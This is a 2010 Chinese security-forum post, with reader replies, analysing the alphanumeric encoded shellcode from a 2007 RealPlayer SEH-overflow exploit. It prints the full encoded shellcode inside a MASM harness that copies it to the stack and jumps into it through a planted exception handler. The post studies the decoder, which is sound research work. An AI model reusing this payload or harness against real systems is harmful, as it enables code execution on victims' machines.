首页
社区
课程
招聘
[原创+整理]经典案例中的纯字符shellcode调试——07年Realplayer漏洞Exploit
发表于: 2010-5-18 06:37 14735

[原创+整理]经典案例中的纯字符shellcode调试——07年Realplayer漏洞Exploit

2010-5-18 06:37
14735

看到snowdbg刚刚的一篇精华文章http://bbs.pediy.com/showthread.php?t=113177谈到了纯字符型shellcode的加解密问题,其中achillis道出了关键:

于是我想起了07年的Realplayer漏洞的纯字符shellcode,这正是用那样的引擎产生出来的,一个连解码部分都是纯字母数字的shellcode。那时我对shellcode调试还并不了解,刚刚尝试接触这个方面的知识就第一次碰到了纯字符shellcode,因此印象深刻。当时我只能通过查找alpha2的解密代码,用解密代码来把shellcode解出来,而不是通过调试shellcode中的解密代码的方式。后来看到了有关漏洞原理和触发的全过程的分析文章,才通过调试shellcode中的解密代码的方式把它解密出来,个人觉得那个解密代码的确写得非常有心思。现在恰逢其会,就整一篇小文在这里说一下跟大家分享。

该漏洞的原理请参考
[1]http://bbs.pediy.com/showthread.php?t=55357
该漏洞的触发过程及如何跳入shellcode的过程,参考
[2]http://www.sinoit.org.cn/NewsLetter/NO.11/1104.html

从以上两篇文章可以看到,该漏洞的利用是通过触发栈溢出并覆盖SEH处理例程地址来实现的,其中以下段落指出的编写Exploit的关键:

.386 
.model flat,stdcall 
option casemap:none

.data
payload	dd	04740675h, 41414141h
	db	'LLLL\XXXXXLD'
	db	'TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0q'
	db	'JPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0'
	db	'z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGON'
	db	'uKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2'
	db	'DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOL'
	db	'NQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQW'
	db	'RU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp'
	db	'5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4'
	db	'CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS'
	db	'4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZV'
	db	'OdoRWQgrWTnQw2Y3JT96NPod2pgToPgrY0z2YTnSUQhU5k0wpA',0

.code
Start:
	push	esi
	push	edi
	push	ebx
	sub	esp, 400h
	call	reloc
reloc:	
	pop	ebx
	mov	esi, offset payload
	mov	edi, esi
	xor	eax, eax
	or	ecx, 0FFFFFFFFh
	xor	eax, eax
	repne	scasb
	not	ecx
	dec	ecx
	mov	edi, esp
	rep	movsb
	assume	fs:nothing
	mov	fs:[0], esp
	add	ebx, sehhandle-reloc
	mov	[esp+4], ebx
	xor	eax, eax
	mov	dword ptr [eax], 0
	pop	ebx
sehhandle:
	pop	edi
	pop	esi
	ret	

end Start

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (11)
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
2
“带着镣铐跳舞”这个比喻很形象啊~
2010-5-18 07:06
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
3
好文章,看完再说。。。
2010-5-18 09:18
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
4
还是小聪分析的透彻啊~~
共同进步--
你起的好早
不知道小聪兄弟对by pass DEP, ASLR等有没有深入研究,我最近正在看这方面的东西 可以交流~~
2010-5-18 11:12
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
5
还是研究漏洞有意思,有共同语言,必须得向前辈虚心学习!浏览过一些漏洞分析的文章,很多都是解析文件格式时出的问题,或者不同类型变量赋值导致字符串复制时参数变大发生溢出或者给驱动传了个函数指针且被运行了。感觉搞这个比较实在,有成就感,要加强学习了。
2010-5-18 13:00
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
6
支持,
编码是为了防检测,有时还会看到利用端口复用以过FW的。
2010-5-20 09:00
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
7
这种显然不是为了防检测,当然也有效,但那不是重点,重点是为了绕过漏洞场景中对字符串的限制。
2010-5-20 13:02
0
雪    币: 111
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
万一输入要求是Unicode,溢出点也是Unicode咋办? 又没有纯Unicode的shellcode呢?
2010-5-20 21:18
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
9
在文件格式中绝大部分是你说的这种情况,就是并不会转换回来,直接执行unicode shellcode。大部分纯字符shellcode都是为你说的这种情况而编写的。
2010-5-20 23:37
0
雪    币: 1681
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
itf
10
学习下  谢谢了~~~有问题向你问下啊
2010-5-21 00:11
0
雪    币: 57
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
你太猛了……
2010-11-26 00:25
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
一直对SEH和漏洞模模糊糊。赶紧学习!
2010-11-26 03:24
0
游客
登录 | 注册 方可回帖
返回
//